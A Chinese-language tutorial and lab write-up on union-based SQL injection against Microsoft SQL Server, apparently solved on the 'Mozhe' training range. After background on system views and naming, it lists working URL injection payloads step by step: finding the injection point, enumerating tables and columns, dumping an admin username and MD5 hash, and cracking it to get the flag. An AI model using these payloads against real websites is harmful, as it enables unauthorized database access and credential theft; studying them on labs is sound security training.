sql server(mssql)联合注入

  • sql server简介:

    • SQL Server 是Microsoft 公司推出的关系型数据库管理系统。具有使用方便可伸缩性好与相关软件集成程度高等优点,可跨越从运行Microsoft Windows 98 的膝上型电脑到运行Microsoft Windows 2012 的大型多处理器的服务器等多种平台使用。

1. 前置知识

  • 以下资料均来自:sql server联机丛书:

1.1 sql server数据库内置函数:

  • DB_NAME ( [ database_id ] ):如果对 DB_NAME 的调用省略 database_id,则 DB_NAME 返回当前数据库的名称;如果不省略,则返回对应数据库id的数据库名称
  • COL_NAME ( table_id , column_id )
    • 参数:

      1. table_id:包含列的表的标识号。table_id 的类型为 int。
      2. column_id:列的标识号。column_id 参数的类型为 int。
    • 作用:据指定的对应表标识号和列标识号返回列的名称。
  • OBJECT_ID ( '[ database_name . [ schema_name ] . | schema_name . ] object_name' [ ,'object_type' ] )
    • 参数:

      1. object_name:要使用的对象。object_name 的数据类型为 varchar 或 nvarchar。如果 object_name 的数据类型为 varchar,则它将隐式转换为nvarchar。可以选择是否指定数据库和架构名称。
      2. object_type:架构范围的对象类型。object_type 的数据类型为 varchar 或 nvarchar。如果 object_type 的数据类型为 varchar,则它将隐式转换为 nvarchar。
    • 作用:返回架构范围内对象的数据库对象标识号。
  • @@VERSION
    • 作用:返回当前的 SQL Server 安装的版本、处理器体系结构、生成日期和操作系统。

1.2 sql server数据库的系统视图

  • 以下系统视图在数据库创建之初就会默认创建,存在于每一个数据库中
  1. sysobjects:

    • 准确的来说应称 sysobject 为系统视图,而不是表;不过在sql server2000版本及以前它的确是作为表而存在的。
    • 作用:这张视图存储量该数据库内每一个对象(包括约束、默认值、日志、规则、存储过程等),每一个对象为其中的一条记录
    • 拥有的字段名(这里只介绍数据库提供支持的字段):
      * 列名            数据类型      说明
      name; sysname; 对象名
      id; int; 对象标识号
      uid; smallint; 对象所有者的架构 ID。__对于从旧版 SQL Server 升级的数据库,架构 ID 等于所有者的用户 ID。__
      parent_obj; int; 父对象的对象标识号。例如,表 ID(如果父对象是触发器或约束)。
      crdate; datetime; 对象的创建日期。
      ftcatid; smallint; 注册为使用全文索引的所有用户表的全文目录标识符,对于没有注册的所有用户表则为 0。
      schema_ver; int; 在每次更改表的架构时都会增加的版本号。始终返回 0。
      xtype; char(2); 对象类型。可以是以下对象类型之一:
      AF = 聚合函数 (CLR)
      C = CHECK 约束
      D = 默认值或 DEFAULT 约束
      F = FOREIGN KEY 约束
      L = 日志
      FN = 标量函数
      FS = 程序集 (CLR) 标量函数
      FT = 程序集 (CLR) 表值函数
      IF = 内联表函数
      IT = 内部表
      P = 存储过程
      PC = 程序集 (CLR) 存储过程
      PK = PRIMARY KEY 约束(类型为 K)
      RF = 复制筛选存储过程
      S = 系统表
      SN = 同义词
      SQ = 服务队列
      TA = 程序集 (CLR) DML 触发器
      TF = 表函数
      TR = SQL DML 触发器
      TT = 表类型
      U = 用户表(__我们在这里使用的就是这个参数__)
      UQ = UNIQUE 约束(类型为 K)
      V = 视图
      X = 扩展存储过程
  2. syscolumns
    • 作用;为每个表和视图中的每一字段返回一行,并为数据库中的存储过程的每个参数返回一行
    • 拥有的字段名(这里只介绍数据库提供支持的字段)
      列名       数据类型                     说明
      name sysname 列名或过程参数的名称。
      id int 此列所属表的对象 ID,或者与此参数关联的存储过程的 ID。
      xtype tinyint sys.types 中的物理存储类型。
      typestat tinyint 标识为仅供参考。不提供支持。不保证以后的兼容性。
      xusertype smallint 扩展的用户定义数据类型的ID。如果数据类型的数字超过 32,767,则溢出或返回 NULL。有关详细信息,请参阅查询 SQL Server 系统目录。
      length smallint sys.types 中的最大物理存储长度。
      colid smallint 列 ID 或参数 ID。
      cdefault int 此列的默认值的 ID。
      domain int 此列的规则或 CHECK 约束的 ID
      number smallint 过程分组时的子过程号。0 = 非过程项 容性。
      offset smallint 此列所在行的偏移量。
      collationid int 列的排序规则的 ID。对于非字符列,此值为 NULL。
      status tinyint 用于说明列或参数的属性的位图:
      type tinyint sys.types 中的物理存储类型。
      usertype smallint sys.types中的用户定义数据类型的 ID。如果数据类型数超过 32767,则会发生溢出或返回 NULL。有关详细信息,请参阅查询 SQL Server 系统目录。
      prec smallint 此列的精度级别。-1 = xml 或大值类型。
      scale int 此列的小数位数。NULL = 数据类型不是数值。
      iscomputed int 指示列是否为计算列的标志:0 = 非计算列。1 = 计算列。
      isoutparam int 指示过程参数是否为输出参数:1 = True 0 = False
      isnullable int 指示列是否允许空值:1 = True 0 = False
      collation sysname 列的排序规则的名称。如果不是基于字符的列,则为 NULL。

1.3 Transact-SQL 语法约定 --> 多部分名称

  • 这部分知识用来理解sql语句:select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',null 中, mozhe_db_v2.dbo.sysobjects 的命名格式的含义。
  • 多部分名称:
    • 除非另外指定,否则,所有对数据库对象名的Transact-SQL引用将是由四部分组成的名称,格式如下:
      server_name .[database_name].[schema_name].object_name
      | database_name.[schema_name].object_name
      | schema_name.object_name
      | object_name
    • 解释说明:
      1. server_name:指定链接的服务器名称或远程服务器名称。
      2. database_name:如果对象驻留在 SQL Server 的本地实例中(说人话就是你操作的数据库在本地),则指定 SQL Server 数据库的名称。如果对象在链接服务器中,则 database_name 将指定 OLE DB 目录。
      3. schema_name:如果对象在 SQL Server数据库中,则指定包含对象的 架构的名称(对于从旧版 SQL Server 升级的数据库,架构 ID 等于所有者的用户 ID)。如果对象在链接服务器中,则 schema_name将指定 OLE DB 架构名称。
      4. object_name:对象的名称。
    • 注意:
      1. 引用某个特定对象时,不必总是指定服务器、数据库和架构供 SQL Server数据库引擎标识该对象。但是,如果找不到该对象,将返回错误。
      2. 对于从旧版 SQL Server 升级的数据库,架构 ID 等于所有者的用户 ID
    • 若要省略中间节点,请使用句点来指示这些位置。下表显示了对象名的有效格式。
      server . database . schema . object 四个部分的名称。
      server . database .. object 省略架构名称。
      server .. schema . object 省略数据库名称。
      server ... object 省略数据库和架构名称。
      database . schema . object 省略服务器名。
      database .. object 省略服务器和架构名称。
      schema . object 省略服务器和数据库名称。
      object 省略服务器、数据库和架构名称。

1.4 关于对象、架构(结合 1.3的多部分名称理解 )

  • 对象:在sql server数据库中,表,视图,函数等都被看作为 “(安全)对象”。每一个对象都有其 “对象名” 以及其 “对象ID”。
  • 架构:架构是指包含 表、视图、过程等对象容器。它位于数据库内部,而数据库位于服务器内部。这些实体就像嵌套框放置在一起。服务器是最外面的框,而架构是最里面的框。架构 包含下面列出的所有【安全对象】,但是它不包含其他框。
    必须位于架构内部的安全对象    类
    类型 TYPE
    XML 架构集合 XML SCHEMA COLLECTION
    表 OBJECT
    视图 OBJECT
    过程 OBJECT
    函数 OBJECT
    聚合函数 OBJECT
    约束 OBJECT
    同义词 OBJECT
    队列 OBJECT
    统计信息 OBJECT
  • 默认架构
    • 为了解析不完全限定的安全对象名称,SQL Server 2000使用名称解析来检查执行调用的数据库用户所拥有的架构和 dbo 所拥有的架构。
    • DBO是系统的默认架构,DBO作为架构来定义对象,能够使数据库中的任何用户引用而不必提供架构名称。DBO架构的所有者默认是dbo账户。
    • sys也是系统的默认架构,sys架构的所有者默认是sys账户。
  • 注意:
    1. 特定架构中的每个安全对象都必须有唯一的名称。架构中安全对象的 “完全指定名称” 包括此安全对象所在的架构的名称。因此,架构也是命名空间
    2. 【在 SQL Server 2000 和早期版本中】,数据库可以包含一个名为 “架构” 的实体,但此实体实际上是 “数据库用户”;【在 SQL Server 2005 中】,架构行为已更改。架构不再等效于数据库用户。现在,每个架构都是独立于创建它的数据库用户存在的不同命名空间。即:在 SQL Server 2005 和 SQL Server 2008 中架构既是一个容器,又是一个命名空间,且架构只能有一个所有者,但一个用户可以拥有多个架构

2.mssql 联合注入流程

  1. 判断注入点
  2. 判断当前注入点所查询的字段数
  3. 确定显示位
  4. 查询当前数据库名,当前数据库的版本号
  5. 查询当前数据库中有多少张表
  6. 查询数据库中的所有表名
  7. 查询表中有多少字段
  8. 查询每一个字段的名称
  9. 判断manage表中有多少条记录
  10. 查询账号密码

3. 靶场实战(这里以“墨者”的的靶场为例)

3.1 判断注入点

  • payload:
    ?id=2 and 1=1 -- 页面返回正常
    ?id=2 and 1=2 -- 页面返回出错
    • 由下图可分析得:存在注入点,且为数字型注入

3.2 判断当前注入点所查询的字段数

  • payload
    ?id=2 order by 4 -- 页面返回正常
    ?id=2 order by 5 -- 页面返回失败
    • 由下图分析可得:判断当前注入点所查询的字段数为:4

3.3 确定显示位

  • payload:
    ?id=2 and 1=2 union all select null,null,null,null
    ?id=2 and 1=2 union all select 'null',null,null,null
    ?id=2 and 1=2 union all select null,'null',null,null -- 出现显示位
    ?id=2 and 1=2 union all select null,null,'null',null -- 出现显示位
    ?id=2 and 1=2 union all select null,null,null,'null'
    • 由下图分析可得:显示位出现在 2号 和 3号 位。

    • 这里说明一下,为什么sql server与mysql 确定显示位的方法不同:
      • 原因是sql server数据库是强数据类型,即union关键字前后的select查询所查询的字段的数据类型必须相同(mysql可以不同),这就导致在我们不知道union关键字前面的数据类型的前提下,必须先使用 null数据类型 来充当字段。然后依次为 null 加单引号使其变为字符串类型,如果加上单引号使null变为的字符串类型与union前面对应的字段类型相同,就自然会在页面中回显出显示位。

3.4 查询当前数据库名,当前数据库的版本号

  • payload:
    ?id=2 and 1=2 union all select null,db_name(),@@version,null
    • 由下图我们可以得出:当前数据库名为 mozhe_db_v2

3.5 查询当前数据库中有多少张表

  • payload1:
    ?id=2 and 1=2 union all select null,(select count(*) from mozhe_db_v2.dbo.sysobjects where xtype='u'),@@version,null
    • 由下图的回显可知:当前数据库存在2张表

    • 为了让我们更深入的理解上述sql语句以及sql server的机制,在此借题发挥一下,请同学们结合我前面所介绍的“前置知识-->Transact-SQL 语法约定-->多部分名称” 来判断一下,下面的payload是否可以达到与上面payload相同的效果?
      payload2:?id=1 and 1=2 union all select null,(select count(*) from ...sysobjects where xtype='u'),@@version,null
      payload3:?id=1 and 1=2 union all select null,(select count(*) from sysobjects where xtype='u'),@@version,null
      payload4:?id=1 and 1=2 union all select null,(select count(*) from mozhe_db_v2..sysobjects where xtype='u'),@@version,null
      payload5:?id=1 and 1=2 union all select null,(select count(*) from mozhe_db_v2.sysobjects where xtype='u'),@@version,null
    • 下图是以上payload的执行结果:

    • 我们可以看出,只有payload5执行失败了。

3.6 查询数据库中的所有表名

  • payload:

    • 查询第一张表名:
      ?id=1 and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',null

    • 查询第二张表名:
      ?id=1 and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name<>'manage'),'3',null

    • 显然 manage 表是我们所需要的。

3.7 查询表中有多少字段

  • payload:
    ?id=1 and 1=2 union all select null,(select count(*) from mozhe_db_v2.dbo.syscolumns where id=object_id('manage')),'3',null
    • 由图分析可知:manage表中存在3个字段。

3.8 查询每一个字段的名称

  • payload:(使用col_name()函数)

    • 查询manage表的第一个字段名
      ?id=1 and 1=2 union all select null,(select col_name(object_id('manage'),1) ),'3',null

    • 查询manage表的第二个字段名
      ?id=1 and 1=2 union all select null,(select col_name(object_id('manage'),2) ),'3',null

    • 查询manage表的第三个字段名
      ?id=1 and 1=2 union all select null,(select col_name(object_id('manage'),3) ),'3',null

    • 显然字段 username 与 password 是我们所需要的
  • 其实在这里我们也可以使用以下payload来查询字段名(使用了syscolumns系统视图,不使用col_name()函数)--- 关于syscolumns系统视图请看 前置知识
    -- 查询manage表的第一个字段名
    ?id=2 and 1=2 union all select null,(select top 1 name from syscolumns where id=object_id('manage')),null,null
    -- 查询manage表的第二个字段名
    ?id=2 and 1=2 union all select null,(select top 1 name from syscolumns where id=object_id('manage') and name<>'id'),null,null
    -- 查询manage表的第三个字段名
    ?id=2 and 1=2 union all select null,(select top 1 name from syscolumns where id=object_id('manage') and name<>'id' and name<>'username'),null,null

3.9 判断manage表中有多少条记录

  • payload:
    ?id=1 and 1=2 union all select null,count(*),null,null from manage
    • 由下图可知,manage表中存在 1 条记录

3.10 查询账号密码

  • payload:
    ?id=1 and 1=2 union all select null,username,password,null from manage
    • 由下图可知,账号密码为:admin_mz/72e1bfc3f01b7583

    • 显然这里的密码是经过MD5加密后的,那么我们就通过网站 https://www.cmd5.com 进行解密,得到明文:97285101。所以账号密码:admin_mz/97285101

3.11 登录后台拿flag

  • KEY: mozhe3ecd86b639e1b4af48c27353ab0

sql server(mssql)联合注入的更多相关文章

  1. 手工注入——sql server (mssql)注入实战和分析

    前言 首先要对sql server进行初步的了解.常用的全部变量@@version:返回当前的Sql server安装的版本.处理器体系结构.生成日期和操作系统.@@servername:放回运行Sq ...

  2. sql System.Data.SqlClient.SqlError: 无法覆盖文件 'C:\Program Files\Microsoft SQL Server\MSSQL\data\itsm_Data.MDF'。数据库 'my1' 正在使用该文件的解决方案

    对数据库备份进行还原时遇到“sql System.Data.SqlClient.SqlError: 无法覆盖文件 'C:\Program Files\Microsoft SQL Server\MSSQ ...

  3. Dynamics CRM 之ADFS 使用 SQL Server 的联合服务器场

    此拓扑用于 Active Directory 联合身份验证服务 (AD FS) 不同于使用 Windows 内部数据库 (WID) 部署拓扑,因为不会将数据复制到每台联合服务器场中的联合身份验证服务器 ...

  4. python 交互式命令行数据库连接助手 -- mysql、sql server (mssql)、redis

    目录 python 交互式命令行数据库连接助手 0. 操作示例 1. python 连接mssql 2. python 连接mysql 3. python 连接redis n. Tips python ...

  5. 实战记录之SQL server报错手工注入

    前言 最近测试了一个站点,这个站点挺有意思,发现没有关闭错误提示,初步猜测是SQL server数据库,后来验证确实是.在这里记录一下实战过程,并详细讲解一下用到的知识点. SQL server报错注 ...

  6. Sql server注入一些tips

    sql server环境测试: 几个特性: 1.sql server兼容性可以说是最差的. 举例: select x from y where id=1 字符串查询 select x from y w ...

  7. SQL SERVER 数据库备份的三种策略及语句

    1.全量数据备份    备份整个数据库,恢复时恢复所有.优点是简单,缺点是数据量太大,非常耗时 全数据库备份因为容易实施,被许多系统优先采用.在一天或一周中预定的时间进行全数据库备份使你不用动什么脑筋 ...

  8. 无需密码攻击 Microsoft SQL Server

    最近的一次渗透测试里,在我们捕获的一些数据包中发现了一些未经加密的 Microsoft SQL Server(MSSQL) 流量.起初,我们认为这样就可以直接嗅探到认证凭证,然而,MSSQL 加密了认 ...

  9. windows10下sql server 2005 无法运行或sql server服务无法启动的完美解决方案

    问题:升级windows10后,sql server 2005 无法运行或sql server服务&sql server agent无法启动,如下图,怎么办? 一般情况下,我们第一反应就是sq ...

随机推荐

  1. C++实现反射---RTTR库的使用

    使用过C#或者Java 的童鞋,应该对这些语言提供的反射机制有所了解.所谓反射,在我看来就是在只知道一个类的名字(字符串形式)的情况下,自动创建出具体的类实例,并且能够枚举该类型拥有的属性.方法等信息 ...

  2. JAVA判断是否是Ajax请求

    /** * 是否是Ajax异步请求 * * @param request */ public static boolean isAjaxRequest(HttpServletRequest reque ...

  3. JAVA比较两个版本号的大小

    /** * 比较版本号的大小 (两个版本号格式应尽量相同) * * @param v1 版本号1 * @param v2 版本号2 * @return 正数:v1大 负数:v2大 0:相等 */ pu ...

  4. Spring Boot新增一个YML配置文件,并进行加载

    我们在同级目录下增加 然后增加一个配置类 SpringBootConfiguration.java import org.springframework.beans.factory.config.Ya ...

  5. JAVA实现map集合转Xml格式

    import java.util.Iterator; import java.util.SortedMap; import java.util.TreeMap; public class MainTe ...

  6. JAVA获取某个月(当月)第一天的开始时刻和某个月(当月)最后一天的最后时刻

    package com.date; import java.text.SimpleDateFormat; import java.util.Calendar; public class Test { ...

  7. See you~(hdu1892)

    See you~ Time Limit: 5000/3000 MS (Java/Others)    Memory Limit: 65535/32768 K (Java/Others)Total Su ...

  8. B. Recover the String

    B. Recover the String time limit per test 1 second memory limit per test 256 megabytes input standar ...

  9. [Elasticsearch] ES聚合场景下部分结果数据未返回问题分析

    背景 在对ES某个筛选字段聚合查询,类似groupBy操作后,发现该字段新增的数据,聚合结果没有展示出来,但是用户在全文检索新增的筛选数据后,又可以查询出来, 针对该问题进行了相关排查. 排查思路 首 ...

  10. Go package(3):io包介绍和使用

    IO 操作的基本分类 在计算机中,处理文件和网络通讯等,都需要进行 IO 操作,IO 即是 input/ouput,计算机的输入输出操作. Go语言中的 IO 操作封装在如下几个包中: io 为 IO ...